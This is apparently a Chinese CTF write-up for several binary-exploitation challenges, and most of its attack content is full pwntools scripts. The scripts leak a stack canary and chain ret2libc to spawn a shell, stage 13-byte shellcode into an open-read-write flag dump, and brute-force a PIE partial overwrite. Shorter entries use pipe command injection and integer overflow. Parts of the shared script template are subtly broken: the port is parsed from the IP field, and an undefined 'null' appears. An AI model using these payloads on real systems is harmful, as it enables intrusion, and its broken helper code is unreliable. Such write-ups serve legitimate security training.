Game
IDA分析发现需要满足输入的v3==v4,v4是一个srand()确定的随机数,才能跳转到back函数,在back函数里面利用Linux管道符可执行命令。
GDB查看v4的值为0x18c55c46(415587398)
nc远程连接后输入415587398,然后输入任意IP|指令,即可执行系统命令,获取flag。
stackoverflow
checksec发现开启了Canary和NX
IDA分析发现func中buf和v2两个变量均存在栈溢出。
未发现system函数,提供了glibc,需要ret2libc题目。
由于开启了Canary,首先需要第一次输入泄漏Canary,其次需要获取libc基址和binsh的位置。
已知func_addr = 0x40128a、popedi_addr = 0x401393、func_ret_addr = 0x4012ff,首先计算libc基地,可通过
payload2 = 'A'*(0x40-8) + p64(canary_addr) + p64(0x00) + p64(popedi_addr) + p64(puts_got) + p64(puts_plt) + p64(func_addr)
泄漏puts函数的真实地址,计算libc基址、sys真实地址和binsh真实地址。最后通过payload3 = 'A'*(0x40-8) + p64(canary_addr) + b'bbbbbbbb' + p64(func_ret_addr) + p64(popedi_addr) + p64(binsh_addr) + p64(system_addr)
执行system(/bin/sh)
。利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84#!/usr/bin/python3
from pwn import *
import sys
#----------------------------------- parm zone -------------------------------------------------------#
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
#----------------------------------- functions for quick script --------------------------------------#
s = lambda data :sh.send(data) # in case that data is an int
sa = lambda delim, data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim, data :sh.sendlineafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
rl = lambda :sh.recvuntil(b'\n').strip(b'\n')
irt = lambda :sh.interactive()
rs = lambda *args, **kwargs :sh.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :sh.debug(gdbscript=gs, **kwargs)
rm = lambda :io.recvuntil(rmflag)
og = lambda path=null :list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
clear = lambda :os.system('clear')
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name, addr :log.success('\x1b[01;38;5;214m{} = {:#x}\x1b[0m'.format(name, addr))
li = lambda x :log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#----------------------------------- func zone -------------------------------------------------------#
# gdb attach
def gdb(cmd=""):
if len(sys.argv) == 1:
gdb.attach(sh,cmd)
# remote or local
def proloc(elf_addr,libc_addr,pro_libc):
global sh, elf, libc, one_ggs
if len(sys.argv) > 1 :
ip = sys.argv[1].split(':')[0]
prot = sys.argv[1].split(':')[0]
sh = remote(ip,prot)
libc = pro_libc
else:
sh = process(elf_addr)
elf = ELF(elf_addr)
libc = elf.libc # libc = ELF(libc_addr, checksec=False)
#----------------------------------- code zone -------------------------------------------------------#
# Leak Canary & ret2libc
def exp():
# leak canary
sla('Do you know who first discovered the stack overflow',b'A'*(0x60-8))
ru(b'A'*(0x60-8) + b'\n')
canary=uu64(r(7).rjust(8, b'\x00'))
leak('canary',canary)
# leak libc_base
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
func_addr = 0x40128a
popedi_addr = 0x401393
func_ret_addr = 0x4012ff
payload = flat(b'A'*(0x40-8), p64(canary), p64(0x00), p64(popedi_addr), p64(puts_got), p64(puts_plt), p64(func_addr))
sla('leave your name:',payload)
puts_addr = u64(sh.recvuntil("\n")[:-1].ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.symbols['system']
leak('libc_base',libc_base)
# ret2libc getshell
sl(b'A'*(0x60-8))
ru(b'A'*(0x60-8) + b'\n')
canary = uu64(r(7).rjust(8, b'\x00'))
leak('canary',canary)
payload = flat(b'A'*(0x40-8), p64(canary), p64(0x00), p64(func_ret_addr), p64(popedi_addr), p64(binsh_addr), p64(system_addr), p64(func_addr))
sla('leave your name:',payload)
sh.interactive()
if __name__ == '__main__':
elf_addr = './stackoverflow' # local ELF
libc_addr = 'libc.so.6' # local Libc
pro_libc = "" # remote Libc
proloc(elf_addr, libc_addr, pro_libc)
exp()
ssssssn
checksec,保护全开
开启了沙箱,不允许执行命令。
IDA分析发现是利用mmap函数建立了一个权限为7的内存映射,然后利用read函数读入13字节去执行。
由于只允许输入13个字节,因此先利用payload1
asm('mov rdx, 0x100')+asm('xor rax, rax')+asm('syscall')
扩大从标准输入读取长度,然后进行ORW,payload:b'\x90'*len(payload1) + asm(shellcraft.open("flag")) + asm(shellcraft.read("rax", "rsp", 0x100)) + asm(shellcraft.write(1, "rsp", 0x100))
,打开flag文件,rax接收返回的文件描述符,根据rax的文件描述符读取flag写入rsp指向的内存,然后从rsp将flag写入到标准输出。利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
import sys
#----------------------------------- parm zone --------------------------------------------------------#
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
#----------------------------------- functions for quick script ---------------------------------------#
s = lambda data :sh.send(data) # in case that data is an int
sa = lambda delim, data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim, data :sh.sendlineafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
rl = lambda :sh.recvuntil(b'\n').strip(b'\n')
irt = lambda :sh.interactive()
rs = lambda *args, **kwargs :sh.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :sh.debug(gdbscript=gs, **kwargs)
rm = lambda :io.recvuntil(rmflag)
og = lambda path=null :list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
clear = lambda :os.system('clear')
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name, addr :log.success('\x1b[01;38;5;214m{} = {:#x}\x1b[0m'.format(name, addr))
li = lambda x :log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#----------------------------------- func zone --------------------------------------------------------#
# gdb attach
def debug(cmd=""):
gdb.attach(sh,cmd)
# remote or local
def proloc(elf_addr,libc_addr,pro_libc):
global sh, elf, libc
if len(sys.argv) > 1 :
ip = sys.argv[1].split(':')[0]
prot = sys.argv[1].split(':')[0]
sh = remote(ip,prot)
libc = pro_libc
else:
sh = process(elf_addr)
elf = ELF(elf_addr)
libc = elf.libc #ELF(libc_addr, checksec=False)
# ---------------------------------- code zone --------------------------------------------------------#
# ORW
def exp():
# debug()
code = [
asm('mov rdx, 0x100'),
asm('xor rax, rax'),
asm('syscall'),
]
payload1 = b"".join(code)
sa("you can input only 13 messages:\n", payload1)
sleep(1)
payload2 = (flat(b'\x90'*len(payload1), asm(shellcraft.open("flag")), asm(shellcraft.read("rax", "rsp", 0x100)), asm(shellcraft.write(1, "rsp", 0x100)))).ljust(0x100, b'\x00')
sl(payload2)
sh.interactive()
if __name__ == '__main__':
elf_addr = './ssssssn' # local ELF
libc_addr = '' # local Libc
pro_libc = '' # remote Libc
proloc(elf_addr, libc_addr, pro_libc)
exp()
animal
checkseck发现开启了堆栈不可执行和地址随机化
IDA分析为C++编写,getAnimal函数可以泄露地址,backdoor函数存在栈溢出漏洞,shell函数可以执行system命令。
输入的内容不为1或2,跳转至backdoor函数,利用栈溢出ret2text,跳转到system(‘/bin/sh’)的地址即可命令执行。由于开启了PIE,shell最后三位地址不变,因此我们可以通过覆盖地址的后3位实现跳转至shell函数。由于至少要覆盖4位,倒数第四位需要爆破,爆破范围在0到0xf。
脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from pwn import *
context.log_level = 'debug'
# gdb.attach(p,"b backdoor")
context.update(arch='amd64', os='linux')
list1 = ["\x05","\x15","\x25","\x35","\x45","\x55","\x65","\x75","\x85","\x95","\xa5","\xb5","\xc5","\xd5","\xe5","\xf5"]
while True:
sh = process('./animal')
payload = 'A' * 16+'BBBBBBBB'+'\x66'+random.sample(list1,1)[0]
sh.sendafter("3.show\n",'11')
sh.sendafter("leave lase message\n", payload)
try:
sh.recv(timeout=1)
except EOFError:
continue
else:
sh.interactive()
break
gift
IDA分析发现需使int型变量
v4<=5 && v4-1>5
才能执行系统命令。显然是整数溢出,输入最小的int型整数(-2147483648)即可。